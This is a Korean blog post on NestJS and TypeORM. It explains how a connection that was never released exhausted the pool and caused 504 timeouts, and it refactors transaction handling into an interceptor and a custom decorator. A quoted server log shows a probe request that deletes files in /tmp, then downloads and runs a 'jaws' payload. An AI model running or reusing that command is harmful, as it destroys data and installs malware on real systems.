Backend/NestJS

NestJS - Transaction Interceptor 적용하기

hou27 2022. 11. 1. 15:35

진행 순서

  1. 문제 당면
  2. 해결 과정
  3. 근본적인 문제
  4. 개선 방법 - AOP
  5. Interceptor 구현 및 적용
본 포스트는 NestJS + TypeORM 환경에서 진행됩니다.

 

 

프로젝트를 진행하면서 어느 순간부터 자꾸만

504 Gateway Timeout Error

때문에 서버가 죽어버리는 현상이 발생했다.

 

그래서 서버 로그를 확인해보면

이런 로그 또는

{"level":"error","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","name":"NotFoundException","response":{"error":"Not Found","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","statusCode":404},"status":40

위와 같은 로그가 남아있기도 했고

에러 상태 코드가 504이기도 했어서

'아 이건 DDoS 때문에 서버가 죽었나 보다'라고 생각하고

문제를 접근하게 되었었다.

 

문제를 해결하기 위해

로드밸런서 유휴 제한 시간을 60 -> 10초로 수정하여 504 error를 방지하고자 해보기도 하고,

(node.js, nestJS 모두 기본값은 5초라고 한다.)

로드밸런서에 등록한 target group의 stickiness을 옵션 켜보기도 하고

혹시 몰라서 ec2 인스턴스가 ICMP Ping에 대해 응답을 하지 않도록 설정했다.

또한 ec2의 TIME_WAIT 시간을 줄여보기도 했으나 소용없었다.

 

이렇게 골머리를 앓던 중

로컬에서 작업하다가 배포 서버와 동일한 timeout 에러를 경험하게 되었는데,

로컬에서도 서버가 죽는 게 이상하단 생각에

머릿속에 박혀있던 공격 탓이란 생각을 버리고 다른 시각으로 접근하게 되었고,

그제야 원인을 깨닫게 되었다.

 

transaction을 생성해서 작업하던 service의 메서드 중 한 메서드에

connection release 코드를 빼먹는 바람에 한번 생성된 connection이

해제되지 않았고 그 탓에 pool이 꽉 차 버리게 되어 서버가 죽게 되는 것이었다.

 

https://typeorm.io/query-runner#what-is-queryrunner

// don't forget to release connection after you are done using it
await queryRunner.release()

위 코드를 추가하여 문제를 해결하긴 했지만

 

애초에 부주의했던 탓과 동시에 반복적으로 생각 없이 적던 공통된 코드를

효율적으로 관리하지 못한 탓에 발생한 문제라고 생각되어

NestJS의 interceptor를 활용하여 공통된 관심사를 분리하고자 한다.

 

 

 

기존 코드

수많은 메서드 중 하나인 deleteContent를 예시로 진행합니다.

Controller

...
@Delete('delete/:contentId')
async deleteContent(
  @AuthUser() user: User,
  @Param('contentId', new ParseIntPipe()) contentId: number,
): Promise<DeleteContentOutput> {
  return await this.contentsService.deleteContent(
    user,
    contentId,
  );
}

 

Service

async deleteContent(
    user: User,
    contentId: number,
  ): Promise<DeleteContentOutput> {
    const queryRunner = await this.commonService.dbInit();
    const queryRunnerManager: EntityManager = queryRunner.manager;
    try {
      const userInDb = await queryRunnerManager.findOne(User, {
        ...
      });
      
      ...

      // delete content
      await queryRunnerManager.delete(Content, content.id);

      await queryRunner.commitTransaction();

      return;
    } catch (e) {
      await queryRunner.rollbackTransaction();

      ...
    } finally {
      await queryRunner.release();
    }
  }

현재 service의 코드를 보면 위처럼 모든 메서드마다

connection을 생성하고 EntityManager를 통해 작업 후 

일일이 commitTransaction()과 rollbackTransaction()을 컨트롤해주고,

finally 문을 통해 release를 하고 있었다.

 

 

개선 방법

지금 활용하고자 하는

NestJS의 Interceptor는 AOP 기술에서 영감을 받은 기술이다.

Interceptors have a set of useful capabilities which are inspired by the Aspect Oriented Programming (AOP) technique

AOP 란?

Aspect-Oriented Programming (관점 지향 프로그래밍)의 약자이다.

관점 지향 프로그래밍이란,

흩어져 있는 공통된 관심사를 중심으로

프로그램 로직을 별개의 부분으로 나누어 모듈성을 높이는 프로그래밍 패러다임이다.

 

현재 특정 서비스의 메서드들은 공통적으로 

Transaction을 생성하고, commit 혹은 rollback 한 후 release 하는 코드를 가지고 있다.

 

이런 공통된 부분을 분리하여 한 곳에서 관리한다면

가독성은 물론이고 코드의 관리 또한 훨씬 수월해질 것이다.

 

Transaction Interceptor

@Injectable()
export class TransactionInterceptor implements NestInterceptor {
  constructor(private readonly dataSource: DataSource) {}
  async intercept(
    context: ExecutionContext,
    next: CallHandler,
  ): Promise<Observable<any>> {
    const req = context.switchToHttp().getRequest();
    const queryRunner: QueryRunner = await this.dbInit();

    req.queryRunnerManager = queryRunner.manager;

    return next.handle().pipe(
      catchError(async (e) => {
        await queryRunner.rollbackTransaction();
        await queryRunner.release();

        if (e instanceof HttpException) {
          throw new HttpException(e.message, e.getStatus());
        } else {
          throw new InternalServerErrorException(e.message);
        }
      }),
      tap(async () => {
        await queryRunner.commitTransaction();
        await queryRunner.release();
      }),
    );
  }

  private async dbInit(): Promise<QueryRunner> {
    const queryRunner = this.dataSource.createQueryRunner();
    await queryRunner.connect();
    await queryRunner.startTransaction();

    return queryRunner;
  }
}

우선 요청이 들어오면

async intercept(
  context: ExecutionContext,
  next: CallHandler,
): Promise<Observable<any>> {
  const req = context.switchToHttp().getRequest();
  const queryRunner: QueryRunner = await this.dbInit();

  req.queryRunnerManager = queryRunner.manager;
  
  ...

위 부분을 통해 request 객체를 가져오고,

connection을 생성한 후 transaction을 시작하는 공통된 작업을 수행한 후

queryRunner의 manager를 request 객체에 담아둔다.

 

그다음 next.handle()을 통해 interceptor가 감싼 메서드를 실행한 후,

 

pipe()를 통해 메서드 실행 후의 작업을 정의해두었다.

return next.handle().pipe(
  catchError(async (e) => {
    await queryRunner.rollbackTransaction();
    await queryRunner.release();

    if (e instanceof HttpException) {
      throw new HttpException(e.message, e.getStatus());
    } else {
      throw new InternalServerErrorException(e.message);
    }
  }),
  tap(async () => {
    await queryRunner.commitTransaction();
    await queryRunner.release();
  }),
);

catchError를 통해 에러가 발생했다면

transaction을 rollback 하고, connection을 release 한 후,

잡은 에러를 던지도록 하였다.

 

에러 없이 잘 끝났다면,

transaction을 commit 하고, release 한 후 작업이 종료되도록 하였다.

 

 

자, 이제 이렇게 구현한 Interceptor를 통해 코드를 개선하기 전에

request 객체에 담아둔 query manager를 사용하기 위한

커스텀 데코레이터를 만들도록 할 것이다.

 

Transaction Decorator

export const TransactionManager = createParamDecorator(
  (data: unknown, ctx: ExecutionContext) => {
    const req = ctx.switchToHttp().getRequest();
    return req.queryRunnerManager;
  },
);

request 객체에 접근한 후, 담아뒀던 manager를 반환하도록 하는 간단한 데코레이터를 만들어주었다.

 

이제 지금까지 구현한 것들을 통해 코드를 개선해보도록 하겠다.

 

 

개선 후

Controller

...
@Delete('delete/:contentId')
@UseInterceptors(TransactionInterceptor) // Interceptor 사용
async deleteContent(
  @AuthUser() user: User,
  @Param('contentId', new ParseIntPipe()) contentId: number,
  @TransactionManager() queryRunnerManager: EntityManager, // decorator를 통해 manager를 받음
): Promise<DeleteContentOutput> {
  return await this.contentsService.deleteContent(
    user,
    contentId,
    queryRunnerManager,
  );
}

controller에선

transaction을 적용할 메서드가 Transaction Interceptor를 사용하도록 하고,

service의 메서드를 호출할 때 조금 전 만든 데코레이터를 통해 query runner manager를 함께 넘겨주도록 한다.

 

Service

async deleteContent(
  user: User,
  contentId: number,
  queryRunnerManager: EntityManager,
): Promise<DeleteContentOutput> {
  try {
    const userInDb = await queryRunnerManager.findOne(User, {
      where: { id: user.id },
      relations: {
        contents: true,
        categories: true,
      },
    });
    if (!userInDb) {
      throw new NotFoundException('User not found');
    }

    const content = userInDb.contents.filter(
      (content) => content.id === contentId,
    )[0];

    if (!content) {
      throw new NotFoundException('Content not found.');
    }

    // delete content
    await queryRunnerManager.delete(Content, content.id);

    return;
  } catch (e) {
    throw e;
  }
}

이제 Service에서는 해당 메서드가 해야 할 작업에 집중할 수 있게 되었고,

반복되는 코드도 사라져 훨씬 깔끔해진 것을 확인할 수 있다.

 


참고자료

 

creating-a-transaction-interceptor-using-nest-js

Interceptor 사용하여 TypeORM Transaction 적용하기